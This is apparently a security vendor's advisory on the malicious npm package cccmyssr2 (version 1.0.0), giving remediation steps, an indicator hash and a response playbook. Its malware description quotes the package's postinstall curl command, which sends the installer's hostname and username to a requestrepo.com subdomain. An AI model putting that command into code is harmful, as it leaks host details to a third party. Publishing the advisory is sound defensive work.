Which versions of cccmyssr2 are malicious?

The following npm versions of cccmyssr2 are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate cccmyssr2 if I installed it?

cccmyssr2 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed cccmyssr2 — how do I know if it already compromised me?

If cccmyssr2 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is cccmyssr2 part of a known attack campaign?

Yes — cccmyssr2 is associated with the IN-MAL-2026-007440 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cccmyssr2 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for cccmyssr2 (version 1.0.0).

Malicious package

cccmyssr2npm

Advisory published Jun 24, 2026Updated Jun 24, 2026

cccmyssr2 is a confirmed malicious npm package (MAL-2026-6391) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in cccmyssr2 (npm)

MAL-2026-6391

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cccmyssr2

What this malware does

On npm install, the package's postinstall.js executes curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)", transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for cccmyssr2 (version 1.0.0).
If you installed it — respond
cccmyssr2 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cccmyssr2 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. cccmyssr2 on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007440

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks cccmyssr2-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database